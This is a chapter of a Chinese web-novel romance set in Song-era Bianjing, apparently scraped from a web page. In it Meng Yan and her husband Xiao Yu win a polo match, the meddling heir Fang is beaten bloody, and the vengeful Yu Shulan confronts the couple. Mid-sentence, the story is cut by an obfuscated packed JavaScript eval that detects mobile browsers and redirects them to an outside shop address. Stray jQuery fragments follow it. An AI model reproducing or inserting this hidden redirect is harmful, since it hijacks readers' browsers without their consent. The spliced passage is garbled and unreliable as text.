106. 再打房世子
作品:《汴京饮馔食记》 这时,章、纪两家兄弟迎上前来,尤其纪家兄弟,双眼放光的望着萧遇,目光中满是崇拜。
要知道自打萧遇再也不曾出现在马球会上后,他们虽然赢得次数多了,却赢得没那么痛快,都知道不过因为有更厉害的人没上场而已。
“怀真,这次可要痛快地打上一场?”章文钺大表哥纪风问道。
萧遇轻轻颔首:“不过,我要和我家娘子一队。”
这有什么?
只要萧遇愿意上场,他们就欣喜若狂了!
以萧遇的球技,哪怕他那一队有人完全不会打马球,想赢他也不容易。
何况,听闻近日他还亲自教他的大娘子打马球?他的大娘子多多少少都会一些。
他们可太盼着一个强有力的对手了!
纪风当即呼喝一声,叫来几人,要和萧遇痛痛快快打上一场。
马球赛双方各有五人,纪风这一队里除了有他弟弟纪云,还有三人也都是打马球的好手,其中还有一名女子贺清柔。
别看贺清柔的名字看上去文文弱弱,却出身将门,父亲乃定国公贺达。
她样貌英气,性情飒爽,是家中幺女。
贺家不想她和几个兄姐一般粗放凶悍,便取名为“清柔”,就希望她能和那些书香人家的女儿一样文静内敛。
然而却事与愿违,贺清柔不仅丝毫不文静内敛,还比她前面的姐姐更加凶悍不羁,就喜欢舞刀弄枪和兄长过招。
贺父贺母还曾想管一管她,然而越管越烈,最后随她去了。
贺清柔也打的一手好马球,这也是贺清柔第一次见孟嫣。
看着她站在萧遇身边柔柔弱弱,心下忍不住腹诽:这纤薄的小身板能骑马?还有那看上去一碰就断的细腕子能拎得动球杖?
经常听闻京中各府的女眷议论她的出身,还以为她和许多商贾一样遍身铜臭,现在看来倒是出乎她的意料了。
不过想起新年宫宴上她关于“大国威仪”的一翻言辞,贺清柔倒不觉得她出身如何,至少比那些自诩文官清流的人家脑子清楚、看的分明。
孟嫣没去管贺清柔的腹诽,此刻她没忍住皱起了眉头。
因为房世子不知什么时候过来了,也要上来打上一场。
他若想打马球本也没人会阻拦,但他偏生要和萧遇他们一队。
先不说他和萧遇本就不对付,就是近来因他休了喻淑兰一事,传出的他对孟嫣用情至深,现在他这翻举动,就已经耐人寻味了。
究竟是真的用情至深还是故意给萧遇添堵?还是妄图给二人制造矛盾?
众人忍不住议论起来,甚至还有人特意去远离一众独坐的喻淑兰面前询问,自然受到了一个阴戾的冷眼。
萧遇却没说什么,只淡淡暼了他一眼,就带孟嫣去换衣选马。
再次出来时,已是锣声阵阵,双方蓄势待发。
对方开球,萧遇轻松夺球,随即又是一杆,将球传至孟嫣那里。
孟嫣心情紧张又激动,正要策马挥杆,将球传出去,就见房世子先她一步将球击出,球落在对方手里。
原来是来捣乱的。
孟嫣神色淡淡,萧遇面色冷然,二人齐齐追球而去。
房世子将球击出后却没继续,而是调转马头迎上孟嫣,扬声道:“孟娘子,想同你见上一面可真不容易!”
孟嫣拉了拉缰绳,打马从他身侧飞驰而过,对其不做理会。
然而房世子犹如看不见一般,继续狗皮膏药一般粘了上去,即便萧遇在旁边也丝毫不在意。
场下众人纷纷惊叹:“房世子是真不怕再次被长宁侯暴打啊!”
话音刚落,就见木球落到孟嫣附近,孟嫣再次策马挥杆,房世子又想故技重施,只是手中的球杖即将碰到木球时,却被孟嫣猛地一杆重重将球击飞。
房世子击了个空。
木球落在萧遇面前,萧遇挥杆一击,木球入了球门!
孟嫣难得欢呼起来,策马跑到萧遇身边。
萧遇也露出笑意,待看到跟过来的房世子时,神色也没任何变化。
孟嫣同样如此,仿佛房世子不存在一般。
房世子见此挑了挑眉:“孟娘子,你可真是伤我的心呢!”
房世子声音不低,场下人虽听不清说了什么,却能看见房世子痴缠孟嫣,总觉得他离挨打不远了。
房世子的确离挨打不远了。
不过打他的不是萧遇,而是孟嫣,并且是在这场马球赛胜负已定,即将结束的时候。
就在房世子再次故技重施截胡孟嫣击球时,孟嫣稳准狠地狠狠用球杖敲向了房世子的手臂,当即将房世子手里的球杖击落。
不仅如此,孟嫣还驱马追着房世子一通狠打,径直将房世子从马上打了下来。
房世子龇牙咧嘴,目光却望向萧遇,眼中透着挑衅。
萧遇勒马停下,翻身下马。
熟悉的场面再次来袭,房世子惨烈地叫声响彻云霄,众人齐齐奔了过来,并不是前来拉架,而是看热闹。
只是众人的速度终究慢了几分,奔过来的时候,房世子已经和几年前一样,浑身是血。
纪家兄弟几人十分生气!
这房世子怎么回事?为何又去惹萧遇?挨打上瘾不成?
今年他们好不容易和萧遇打上一场,现在倒好,因为你想挨打,下次他们不知什么时候才能再和萧遇打马球了呢!
纪家兄弟几人恨恨地瞪着房世子,竟无人想起去寻人将他抬回府。
还是他的贴身小厮见自家主子挨打,忙不迭的将人背了回去。
众人其实是有些遗憾的。
虽然他们也看了一出热闹,但是也算一出陈年老戏。
不过今日那房世子挑衅的方式不同罢了。
若是带上那喻家三娘子,这热闹才精彩呢!
喻淑兰只是坐在一旁冷眼旁观,见到房世子被打,她心底说不痛快是不可能的。
有那么一瞬,她甚至幻想萧遇此翻是为了她才如此,是因为知道她在房世子那里受了折磨。
这一瞬,她的神色露出几分温婉的欣喜来。
可转瞬见到房世子浑身是血的时候,她又莫名的颤抖起来。
她想到了自己被房世子鞭笞到血肉模糊,而自己所受的这一切,都是因为孟嫣!
喻淑兰神色再次阴戾起来,目光也逡巡着寻找着孟嫣的身影,她忍不住要做点什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383156|192745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么!
孟嫣对房世子挨打没有丝毫波澜,而是在萧遇打完后抽出帕子帮他擦掉手上的血。
今日的马球打的还算痛快,虽然有房世子这么一颗狗屎捣乱,却也没妨碍到什么。
到是马球结束的时候,贺清柔过来夸她马球打的不错,还邀她得空去定国公府坐坐,下次再一起打上一场!
孟嫣同贺清柔说完话后,就侧首看向萧遇,抿着唇笑。
萧遇目光柔和:“怎么?”
孟嫣:“你教我马球不单单是为了让我锻炼身体吧?”
萧遇笑道:“那你觉得我还想让你做什么?”
孟嫣:“让我交到不图功利的……好友?”
自她同萧遇成亲以来,她虽是得官家赐婚,又被官家亲封诰命,她能看出来,京中那些官宦女眷因她出身商贾,哪个又是真心相交?
有人自命甚高不屑与她为伍,目光里自然是藏不住的鄙夷。
有人因她如今的身份地位表面同她相交,实则心下一样对她的商贾出身多有鄙夷。
这也是她每每去参加各府宴席,感到疲累的原因。
她没想到萧遇竟然知道。
她对这些交际其实并不在意,她日日同老夫人、苒霜、阿栗还有侯府厨司的人待在一块也不会感到无聊,相反,更加轻松自在,说话不用在脑子里绕那么多遍才说出口。
而她与各府官眷虚与委蛇,不过是怕哪日萧遇遇到麻烦,有人看在萧老夫人或萧遇的面子上,能给她递个信儿。
毕竟她也不想萧遇在外身陷囹圄,而她在府中一无所知。
萧遇没否认,道:“武将和那些自诩清流的文官不同,交际往来简单直接,没有那么多弯弯绕绕,更不会拿出身说事,虽然等再过上数月,这些武官女眷了解了你的脾性之后会自然而然同你交好,但我不想你等这么久。”
孟嫣心头温热,笑道:“其实我没那么在意。”
毕竟在现代的时候,她也经常一个人。
再者,因为她是现代人,并不觉得苒霜、阿栗、厨司一众就是仆从,整日和她们说话并不觉得有什么。
不过她还是感动于萧遇事事都替她考虑周全。
她主动牵过萧遇的手,弯着唇角朝马车走去。
只是刚走到自家马车旁,就见喻淑兰阴恻恻地朝二人走了过来。
看来回到喻家后,她过的还不错?
至少长了些肉,不再那么弱不禁风了。
萧遇本想直接扶着孟嫣上马车,孟嫣却停了下来。
她想听听喻淑兰这次还能再找什么事。
从开始的散播她被匪寇掳走的谣言,又到亲自到她面前挑衅说会嫁入长宁侯府,再到去刘太后面前告发她逾制穿衣……
她想看看,这喻淑兰究竟还要做什么?她想看看,忌妒眼红真的能让一个天之骄女面目全非吗?
事实证明,会。
喻淑兰过来只看了一眼萧遇,然后目光就盯向了孟嫣。
和茶肆一叙一样,只说了一句话:“刘太后已经知道了川饭行的背后之人是你。”
孟嫣却“哦”了一声,还道:“谢谢你来通风报信啊。”
喻淑兰一梗。

